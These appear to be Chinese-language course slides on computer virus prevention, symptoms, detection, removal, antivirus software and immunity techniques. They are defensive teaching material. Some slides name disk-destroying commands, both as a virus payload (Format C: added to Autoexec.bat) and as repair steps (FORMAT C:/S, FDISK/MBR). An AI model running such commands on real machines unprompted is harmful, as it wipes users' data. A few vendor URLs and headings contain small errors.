引导区(含主导区)、网络等。• 解毒是指根据不同类型病毒对感染对象的修改,并按照病毒的感染特性所进行的恢复。该恢复过程不能破坏未被病毒修改的内容。感染对象包括:内存、引导区(含主引导区)、可执行文件、文档文件、网络等。

• 恢复是对被病毒破坏了的文件以及系统进行恢复。• 此外,病毒防范还涉及病毒免疫和法制管理。

Page 155: 《 网络信息安全 》

155

计算机病毒的预防

• 计算机病毒防治,要采取预防为主的方针。下面是一些行之有效的措施。• 1. 对新购置的计算机硬软件系统进行测试

新购置的计算机软件也要进行计算机病毒检测。有些软件厂商发售的软件,可能无意中已被计算机病毒感染。就是正版软件也难保证没有携带计算机病毒。因此,只要条件许可,就要进行病毒检测:用软件工具检查已知计算机病毒,用人工检测方法检查未知计算机病毒,并经过证实没有计算机病毒感染和破坏迹象后再使用。

• 2. 单台计算机系统的安全使用 在一台计算机中使用在其他计算机中用过的移动存储器时,应当先进行

病毒检测。对重点保护的计算机系统应做到专机、专盘、专人、专用。封闭的使用环境中是不会自然产生计算机病毒的。

Page 156: 《 网络信息安全 》

156

计算机病毒的预防

• 3. 计算机网络的安全使用对于网络计算机系统,除了要首先保证自己使用的计算机的安全外,还应采取下列针对网络的防杀计算机病毒措施:

( 1 )安装网络服务器时,应保证没有计算机病毒存在,即安装环境和网络操作系统本身没有感染计算机病毒。

( 2 )在安装网络服务器时,应将文件系统划分成多个文件卷系统(至少划分成操作系统卷、共享的应用程序卷和各个网络用户可以独占的用户数据卷),以有利于维护网络服务器的安全稳定运行和用户数据的安全。这样,一旦系统卷受到某种损伤,导致服务器瘫痪,就可以通过重装系统卷,恢复网络操作系统,使服务器又马上投入运行,而装在共享的应用程序卷和用户卷内的程序和数据文件不会受到任何损伤。如果用户卷内由于计算机病毒或使用上的原因导致存储空间拥塞时,系统卷不会受影响,不会导致网络系统运行失常。这种划分还十分有利于系统管理员设置网络安全存取权限,保证网络系统不受计算机病毒感染和破坏。

( 3 )一定要用硬盘启动网络服务器,否则在受到引导型计算机病毒感染和破坏后,遭受损失的将不仅仅是一台个人计算机,而会影响到整个网络的中枢。

Page 157: 《 网络信息安全 》

157

计算机病毒的预防

( 4 )为各个卷分配不同的用户权限。将操作系统卷设置成对一般用户为只读权限,屏蔽其它网络用户对系统卷除读和执行以外的所有其它操作,如修改、改名、删除、创建文件和写文件等操作权限。应用程序卷也应设置成对一般用户是只读权限的,不经授权、不经计算机病毒检测,就不允许在共享的应用程序卷中安装程序。保证除系统管理员外,其它网络用户不可能将计算机病毒感染到系统中,使网络用户有一个安全的联网工作环境。

( 5 )在网络服务器上必须安装真正有效的防杀计算机病毒软件,并经常进行升级。必要的时候还可以在网关、路由器上安装计算机病毒防火墙产品,从网络出入口保护整个网络不受计算机病毒的侵害。在网络工作站上采取必要的防杀计算机病毒措施,可使用户不必担心来自网络内部和网络工作站本身的计算机病毒侵害。

( 6 )不随便直接运行或直接打开电子函件中夹带的附件文件,不要随意下载软件,尤其是一些可执行文件和 Office 文档。即使下载了,也要先用最新的防杀计算机病毒软件来检查。

Page 158: 《 网络信息安全 》

158

计算机病毒的预防

• 4. 重要数据文件要有备份 ( 1 )硬盘分区表、引导扇区等的关键数据应作备份并妥善保管,以便在进行系统维护和修复工作时作为参考。

( 2 )重要数据文件定期进行备份工作。不要等到由于计算机病毒破坏、计算机硬件或软件出现故障,使用户数据受到损伤时再去急救。

Page 159: 《 网络信息安全 》

159

计算机病毒的预防

• 5. 强化安全管理 ( 1 )系统管理员的口令应严格管理,不使泄漏,不定期地予以更换,保护网络系统不被非法存取,不被感染上计算机病毒或遭受破坏。

( 2 )应用程序软件的安装,应由系统管理员进行或由系统管理员临时授权进行,保护网络用户使用共享资源时总是安全无毒的。

( 3 )系统管理员对网络内的共享电子函件系统、共享存储区域和用户卷应定期进行计算机病毒扫描,发现异常情况及时处理。条件许可,还应在应用程序卷中安装最新版本的防杀计算机病毒软件供用户使用。

( 4 )网络系统管理员应做好日常管理事务的同时,还要拟订应急措施,及时发现计算机病毒感染迹象。一旦出现计算机病毒传播迹象,应立即隔离被感染的计算机系统和网络,并进行处理。不应当带毒继续工作下去,要按照特别情况清查整个网络,切断计算机病毒传播的途径,保障正常工作的进行。

由于技术上的计算机病毒防治方法尚无法达到完美的境地,难免会有新的计算机病毒突破防护系统的保护,传染到计算机系统中。因此对可能由计算机病毒引起的现象应予以注意,发现异常情况时,不使计算机病毒传播影响到整个网络。

Page 160: 《 网络信息安全 》

160

计算机病毒的预防

• 6. 防范体系与规范建设 计算机病毒防范工作,首先是防范体系的建设和制度的建立。没有一个

完善的防范体系,一切防范措施都将滞后于计算机病毒的危害。 计算机病毒防范体系的建设是一个社会性的工作,不是一两个人、一两家企业能够实现的,需要全社会的参与,充分利用所有能够利用的资源,形成广泛的、全社会的计算机病毒防范体系网络。

计算机病毒防范制度是防范体系中每个主体都必须的行为规程,没有制度,防范体系就不可能很好地运作,就不可能达到预期的效果。必须依照防范体系对防范制度的要求,结合实际情况,建立符合自身特点防范制度。

Page 161: 《 网络信息安全 》

161

计算机病毒的预防

为了统筹全国的计算机病毒的防治, 2000年 5月在原“计算机病毒检测防治产品检测中心”的基础上,成立了“国家计算机病毒应急处理中心”。国家计算机病毒应急处理中心工作任务是:充分调动国内防治计算机病毒的力量,快速发现病毒疫情,快速作出反应,快速处置,及时消除病毒,防止计算机病毒对我国的计算机网络和信息系统造成重大的破坏,确保我国信息产业安全健康发展。

另一方面,为了使中国的计算机防治工作走上法制轨道,国家于 1994年 2月颁布了《中华人民共和国计算机信息系统安全保护条例》,在此基础上又颁布了《计算机病毒防治管理办法》,还在新修改的《中华人民共和国刑法》中对故意制造、传播计算机病毒的行为规定了相应的处罚办法。

Page 162: 《 网络信息安全 》

162

计算机病毒发现

计算机病毒是一段程序代码,即使它隐藏得很好,但也会留下许多痕迹。通过对这些蛛丝马迹的判别,就能发现计算机病毒的存在了。

• 1. 根据表现发现病毒根据计算机病毒感染和发作的阶段,可以将计算机病毒的表现现象分为三大类:计算机病毒发作前、发作时和发作后的表现现象。在人工情况下,可以通过发现这些表现推断发现计算机病毒。 ( 1 )计算机病毒发作前的表现现象

计算机病毒发作前阶段,指从计算机病毒感染计算机系统,潜伏在系统内开始,一直到激发条件满足,计算机病毒发作之前的阶段。在这个阶段,计算机病毒的行为主要是以潜伏、传播为主。计算机病毒会以各式各样的手法来隐藏自己,在不被发现同时,又自我复制,以各种手段进行传播。但是,它总是有一些表现,例如:

Page 163: 《 网络信息安全 》

163

计算机病毒发现

– 原来运行正常的计算机突然经常性无缘无故地死机:由于修改了中断引起的系统不稳定。

– 操作系统无法正常启动:可能由于感染病毒后系统文件结构发生变化,无法被操作系统加载、引导。

– 运行速度明显变慢:可能由于计算机病毒占用了大量的系统资源,并且自身的运行占用了大量的处理器时间,造成系统资源不足,运行变慢。

– 原来正常运行的软件总出现内存不足的错误:可能是计算机病毒驻留后占用了系统中大量的内存空间,使得可用内存空间减小。

– 打印和通讯异常:可能由于计算机病毒驻留内存后占用了打印端口、串行通讯端口的中断服务程序,使之不能正常工作。

– 应用程序经常发生死机或者非法错误:可能由于计算机病毒破坏了应用程序本身的正常功能,或者计算机病毒程序本身存在着兼容性方面的问题造成的。

Page 164: 《 网络信息安全 》

164

计算机病毒发现

– 系统文件的时间、日期、大小发生变化:这是最明显的计算机病毒感染迹象。

– 打开的 Word 文档另存时只能以模板方式保存:往往是打开的 Word 文档中感染了 Word宏病毒的缘故。

– 磁盘空间突然迅速减少。– 网络驱动器卷或共享目录无法调用。– 基本内存发生变化(一般少 1Kb~ 2Kb ):通常是感染了引导型计算

机病毒所造成。– 陌生人发来的电子函件。– 自动链接到一些陌生的网站。– 应当注意:一般的系统故障是有别与计算机病毒感染的。系统故障大多只符合上面的一点或二点现象,而计算机病毒感染所出现的现象会多的多。

Page 165: 《 网络信息安全 》

165

计算机病毒发现

( 2 )计算机病毒发作时的表现现象计算机病毒发作时是指满足计算机病毒发作的条件,计算机病毒程序开始破坏行为的阶段。通常,不同的计算机病毒发作时的表现亦不相同。下面是一些病毒发作常见的表现现象:

– 提示一些不相干的话。– 发出一段的音乐,如“杨基”( Yangkee )计算机病毒和中国的“浏阳河”计算

机病毒。– 产生特定的图象:如小球计算机病毒。– 硬盘灯不断闪烁:病毒使有持续大量的硬盘读写操作。– 进行游戏算法。– Windows桌面图标发生变化。– 计算机突然死机或重启。– 自动发送电子函件。– 鼠标指针自己动。– 应当注意,上述现象须与计算机正常运行时的表现相区分

Page 166: 《 网络信息安全 》

166

计算机病毒发现

( 3 )计算机病毒发作后的表现现象通常,计算机病毒发作都会给计算机系统带来破坏性的后果。大多数计算机病毒都是属于“恶性”计算机病毒。“恶性”计算机病毒发作后往往会带来很大的损失,下面列举一些恶性计算机病毒发作后所造成的后果。硬盘无法启动:可能是计算机病毒破坏了硬盘的引导扇区。系统文件丢失或被破坏:可能是某些计算机病毒发作时删除了系统文

件,或者破坏了系统文件。文件目录发生混乱:有两种情况。一种就是确实将目录结构破坏;另

一种情况将真正的目录区转移到硬盘的其他扇区中。只要病毒存在,后者一般能够被恢复的。

Page 167: 《 网络信息安全 》

167

计算机病毒发现

数据丢失:可能是计算机病毒修改了硬盘的关键内容(如文件分配表,根目录区等),或部分文档丢失或被破坏。

部分文档自动加密码:可能是某些机病毒利用加密算法,将加密密钥保存在计算机病毒程序体内或其他隐蔽的地方。一旦这种计算机病毒被清除,被加密的文档就很难被恢复了。

修改 Autoexec.bat 文件,增加 Format C :一项,导致计算机重新启动时格式化硬盘。

部分可软件升级主板的 BIOS 程序混乱,主板被破坏。网络瘫痪,无法提供正常的服务。

Page 168: 《 网络信息安全 》

168

计算机病毒发现

• 2. 进程监视 进程监视会观察到系统的活动状况,同时也会拦截所有可疑

行为。例如,多数个人计算机的 BIOS都有防病毒设置,当这些设置打开时,就允许计算机拦截所有对系统主引导记录进行写入的企图。

• 3. 验证校验信息 使用信息校验码可以发现文件内部字节的变化。一般情况下,未被病毒感染的系统首先应生成一个基准记录,然后规律性地使用校验码(如 CRC )来检查文件的改变情况。

Page 169: 《 网络信息安全 》

169

计算机病毒发现

• 4. 使用病毒扫描程序 病毒扫描程序使用特征文件( Signature file )在被感染的文件中查找

病毒。特征文件是列出所有已知病毒和它们的属性的数据库。这些属性包括病毒代码、传染文件的类型和有助于查找病毒的其他信息。

病毒扫描程序有多种形式。其中,基本的形式有按需扫描和内存驻留两种。按需扫描型程序需要手工启动或者由一个自动进程启动运行。这种程序启动后,一般会在整个驱动器或系统中查找病毒,包括 RAM、硬盘等设备。内存驻留型是一种在后台运行的程序。它们一般在系统启动时就初始化,然后一直在内存中保持激活状态,一旦有文件访问,就会拦截对文件的调用,进行病毒检查,然后才允许文件装入内存。

Page 170: 《 网络信息安全 》

170

计算机病毒的清除

病毒的清除,也称为对象恢复,就是将染毒文件中的病毒代码摘除。计算机病毒很多,并且还在不断出现。它们特性各异,生成技术不同,清除方法也不同。下面介绍几种已有病毒的清除方法。

Page 171: 《 网络信息安全 》

171

计算机病毒的清除

• 1. 引导型病毒的清除清除引导型病毒的最有效、最简单方法是进行磁盘的格式化。但是,格式化的同时也使有用数据同归于尽。因此,要尽量采用不格式化方法清除引导型病毒。 ( 1 )主引导扇区的修复

1 用无毒软盘启动系统。2 寻找一台同类型、硬盘分区相同的无毒计算机,将其硬盘主引导扇

区写入一张软盘。3 将该盘插入染毒计算机,将其中采集的主引导扇区数据写入染毒硬盘。

4 修复结束。

Page 172: 《 网络信息安全 》

172

计算机病毒的清除

( 2 ) BOOT 扇区的恢复1 用无毒软盘启动系统。2 运行下面的命令:

– FDISK/MBR (重写一个无病毒的 MBR )。

– FDISK(读取或重写分区表)。

– FORMAT C:/S或 SYS C: (重写一个无毒的活动分区引导记录)。

注意:– 对硬盘分区、 FAT 或其他加密病毒,需要根据病毒的算法先进行解码。

– 如果引导型病毒将原主引导扇区或BOOT覆盖写入根目录区,被覆盖的根目录区将永久性破坏,不可恢复。

Page 173: 《 网络信息安全 》

173

计算机病毒的清除

• 2. 文件型病毒的清除 对于文件型病毒,可分两种情形讨论。一是破坏性感染病毒。这类病毒

一般采用覆盖式写入,由于破坏了宿主文件,所以当没有原文件的副本时,是不可恢复的。另一种情形是非破坏性病毒。它们感染的文件是可以恢复的。但是恢复方法是很复杂的,没有专门知识(如对可执行文件格式的了解,以及是否掌握汇编语言知识)是做不到手工恢复的。

在文件型病毒的清除时,特别要注意交叉型病毒的手工清除方法。所谓交叉感染是指一个文件同时感染了多种病毒。交叉感染的文件大致有两种基本结构。对于附在宿主文件尾部的病毒,清除的顺序与感染和执行的顺序一致(先执行的先清除);对于附在宿主文件头部的病毒,清除的顺序与感染和执行的顺序相反(先执行的后清除)

Page 174: 《 网络信息安全 》

174

还要注意, COM 文件感染可能会有更复杂的情形,即首尾都附加有病毒。这时,就要注意在 100H处的跳转语句是先执行哪个病毒程序,以及以后的跳转语句形成的执行顺序。

计算机病毒的清除

Page 175: 《 网络信息安全 》

175

计算机病毒的清除

• 3. 宏病毒的清除 ( 1 )手工清除例如清除Word 文档中的宏病毒,可以采用如下方法:

1 选取“工具 | 宏”,进入“管理器”; 2 选取“宏方案项( M ); 3 在“宏方案项的有效范围“下拉列表框中,选择要检查的文档,在其上方列表框中会显示该文档模板中出现的宏;

4 将来源不明的宏删除。 ( 2 )使用杀毒软件

在 Windows 环境下使用 KV3000清除宏病毒的方法。 1 执行 KV3000 ; 2 任选一可能存在宏病毒的子目录进行检查; 3 为安全起见,查出病毒后,先将之扩展名改名(如改为 .kv ); 4 将原文件中的病毒杀除。

Page 176: 《 网络信息安全 》

176

病毒防治软件

• 1. 病毒防治软件的类型病毒防治软件的功能不外乎查毒、杀毒。按照查毒、杀毒机制,病毒防治软件可以分为 3类: ( 1 )病毒扫描型软件:病毒扫描型软件采用特征扫描法,根据已知病

毒特征扫描可能的感染对象。 ( 2 )完整性检查型软件:完整性检查型软件采用比较法和校验法,监视对象(包括引导扇区和文件等)的属性(大小、时间、日期和校验和)和内容,如果发生变化,则对象极有可能被病毒感染。

( 3 )行为封锁型软件:行为封锁型软件采用驻留内存在后台工作的方式,监视可能因病毒引起的异常行为。发现异常行为,就及时发出警告,让用户决定是否让所发生的行为继续进行。

Page 177: 《 网络信息安全 》

177

病毒防治软件

• 2. 病毒防治软件的选择指标 ( 1 )识别率:识别率主要从下面两个方面来衡量:

误报率:在被检测对象中,对没有感染病毒的对象发出警报的比率。 漏报率:在被检测对象中,对感染病毒的对象没有被检测出比率。

( 2 )检测速度:不同的抗病毒软件使用不同病毒扫描算法,会影响检测速度。当然,开发者的能力也影响检测速度。

( 3 )动态检测( on-the-fly scanning )能力:动态检测也称实时检测检测,指在操作(打开、关闭、创建、读 / 写)时检测病毒的能力。具有动态检测能力的抗病毒软件总是处于激活状态,一般驻留内在存,主动检测各种对象。

( 4 )按需检测( on-demand scanning )能力:抗病毒软件一般处于非激活状态,在用户请求下才开始扫描。

( 5 )多平台可用性:抗病毒软件可以识别 OS ,根据不同的 OS ,利用不同的特征。

( 6 )可靠性:可靠性是指抗病毒软件能够完成正常的扫描,它是一个十分重要的准则。

Page 178: 《 网络信息安全 》

178

病毒防治软件

• 3. 病毒防治软件产品 ( 1 )国外防病毒产品及查询网站

· kaspersky,网址: http://www.kaspersky.com.cn VirusScan ,网址: http://www.mcafeeb2b.com · NAV ,网址: http://www.symantee.com · Pandaguard ,网址: http://www. pandaguard.com

( 2 )国外防病毒产品及查询网站 · KILL,网址: http://www.kill.com (冠群金辰软件公司) · KV ,网址: http://www.jiangmin.com · RAV ,网址: http://www. rising.com · VRV ,网址: http://www.vrv.com (北信源)

Page 179: 《 网络信息安全 》

179

计算机病毒侵害系统的恢复

• 查毒杀毒的目的,是为了让系统能正常工作。因此,查毒、杀毒之后,还要对被破坏了的系统进行修复。

• 一旦遇到计算机病毒破坏了系统,采取一些简单的办法就可以杀除大多数的计算机病毒,恢复被计算机病毒破坏的系统。下面介绍计算机病毒感染后的一般修复处理方法:

Page 180: 《 网络信息安全 》

180

计算机病毒侵害系统的恢复

( 1 )首先必须对系统破坏程度有详细而全面的了解,并根据破坏的程度来决定采用对应的有效清除方法和对策:若受破坏的大多是系统文件和应用程序文件,并且感染程度较深,那么可以采取重装系统的办法来达到清除计算机病毒的目的;

若感染的是关键数据文件或感染比较严重(如硬件被 CIH 计算机病毒破坏),就应当考虑请计算机病毒专家来进行清除和数据恢复工作。

( 2 )修复前,尽可能再次备份重要数据文件。目前防杀病毒软件在杀毒前大多都会保存重要数据和被感染文件,以便误杀或因杀毒造成新的破坏后能够恢复现场。其中,对特别重要的用户数据文件等在杀毒前还应当单独进行手工备份,但是不能备份在被感染破坏的系统内,也不应该与平时的常规备份混在一起。

Page 181: 《 网络信息安全 》

181

计算机病毒侵害系统的恢复

( 3 )启动防杀计算机病毒软件并对整个硬盘进行扫描。注意,某些计算机病毒(如 CIH 计算机病毒)在 Windows 95/98状态下无

法完全清除,此时应用事先准备好的未感染计算机病毒的 DOS系统软盘启动系统,然后在 DOS 下运行相关杀毒软件进行清除。

( 4 )发现计算机病毒后,一般应利用防杀计算机病毒软件清除文件中的计算机病毒。如果可执行文件中的计算机病毒不能被清除,应将其删除后重新安装相应的应用程序。

( 5 )杀毒完成后,重启计算机,再次用防杀计算机病毒软件检查系统中是否还存在计算机病毒,并确定被感染破坏的数据确实被完全恢复。

( 6 )对于杀毒软件无法杀除的计算机病毒,应将计算机病毒样本送交防杀计算机病毒软件厂商的研究中心,以供详细分析。

Page 182: 《 网络信息安全 》

182

计算机病毒免疫技术

• 1. 计算机病毒免疫的基本原理• 计算机病毒的传染模块一般包括传染条件判断和实施传染两个部分。

在病毒被激活的状态下,病毒程序通过判断传染条件的满足与否,以决定是否对目标对象进行传染。一般情况下,病毒程序在传染一个对象后,都要给被传染对象加上传染标识。传染条件的判断就是检测被攻击对象是否存在这种标识:若存在这种标识,则病毒程序不对该对象进行传染;若不存在这种标示,则病毒程序就对该对象实施传染。于是,如果能在正常对象中加上这种标识,就像给生物体注射疫苗后会产生抗体一样,使该对象可以不受病毒的传染,起到免疫的作用。如香港病毒, 1575病毒,在传染前先检查待传染的扇区或程序里是否含有病毒代码,如果没有找到则进行传染;如果找到了则不再进行传染。这种用作判断是否为病毒自身的病毒代码被称作传染标志,或免疫标志。

Page 183: 《 网络信息安全 》

183

计算机病毒免疫技术

• 2.针对某一种病毒的计算机病毒免疫方法例如对小球病毒,在 DOS 引导扇区的 1FCH处填上 1357H ,小球病毒一检查到这个标志就不再对它进行传染了。对于 1575 文件型病毒,免疫标志是文件尾的内容为 0CH 和 0AH 的两个字节, 1575 病毒若发现文件尾含有这两个字节,则不进行传染。这种方法的优点是可以有效地防止某一种特定病毒的传染。但缺点很严重,主要有以下几点: ( 1 )对于不设有感染标识或不检查病毒标志的病毒不能达到免疫的目

的:有的病毒只要在激活的状态下,会无条件地把病毒传染给被攻击对象,而不论这种对象是否已经被感染过或者是否具有某种标识。如黑色星期五,是在传染时不判断是否存在免疫标志,病毒只要找到一个可传染对象就进行一次传染,使一个文件可能被黑色星期五反复传染多次,滚雪球一样越滚越大(要说明的是,黑色星期五病毒程序中本来具有判别传染标志的代码,但由于程序设计错误,使判断失败,形成现在的情况,对文件会反复感染,传染标志形同虚设)。

Page 184: 《 网络信息安全 》

184

计算机病毒免疫技术

( 2 )当出现这种病毒的变种不再使用这个免疫标志时,或出现新病毒时,免疫标志发挥不了作用。

( 3 )某些病毒的免疫标志不容易仿制,非要加上这种标志不可,则对原来的文件要做大的改动。例如对大麻病毒就不容易做免疫标志。

( 4 )由于病毒的种类较多,又有技术上的原因,不可能对一个对象加上各种病毒的免疫标识,这就使得该对象不能对所有的病毒具有兔疫作用。

( 5 )这种方法能阻止传染,却不能阻止病毒的破坏行为,仍然放任病毒驻留在内存中。 目前使用这种免疫方法的商品化反病毒软件已不多见了。

Page 185: 《 网络信息安全 》

185

计算机病毒免疫技术

• 3.基于自我完整性检查的计算机病毒免疫方法• 这种方法的原理是,为可执行程序增加一个免疫外壳,同时在免疫外壳中记录有关用于恢复自身的信息。免疫外壳占 1KB~ 3KB。执行具有这种免疫功能的程序时,首先运行免疫外壳,检查程序自身的大小、校验和、生成日期和时间等情况,无发现异常,再转去执行受保护的程序。这种免疫方法可以看作是一种通用的自我完整性检验方法,不论什么原因使这些程序本身的特性受到改变或破坏,免疫外壳都可以检查出来,并发出告警,并在大多数情况下能使之复原。此外还提供可供用户选择的回答:自毁、重新引导启动计算机、自我恢复到未受改变前的情况和继续操作。

Page 186: 《 网络信息安全 》

186

计算机病毒免疫技术

• 但是,这种方法也存在一些缺点和不足: ( 1 )每个受到保护的文件都要增加 1KB~ 3KB,增加额外的存储开销。 ( 2 )现在使用的一些校验码算法不能满足防病毒的需要,被某些种类的

病毒感染的文件不能被检查出来。 ( 3 )目前这种方法只能用于文件病毒而不能用于引导扇区病毒,也无法

对付覆盖方式的文件型病毒。 ( 4 )有些类型的文件外加免疫外壳后便不能正常执行。这些文件不能采

用这种防护方法。 ( 5 )当某些尚不能被病毒检测软件检查出来的病毒感染了一个文件,而

该文件又被免疫外壳包在里面时,这个病毒就象穿了“保护盔甲”,使查毒软件查不到它,而它却能在得到运行机会时跑出来继续传染扩散。

Page 187: 《 网络信息安全 》

187

谢 谢!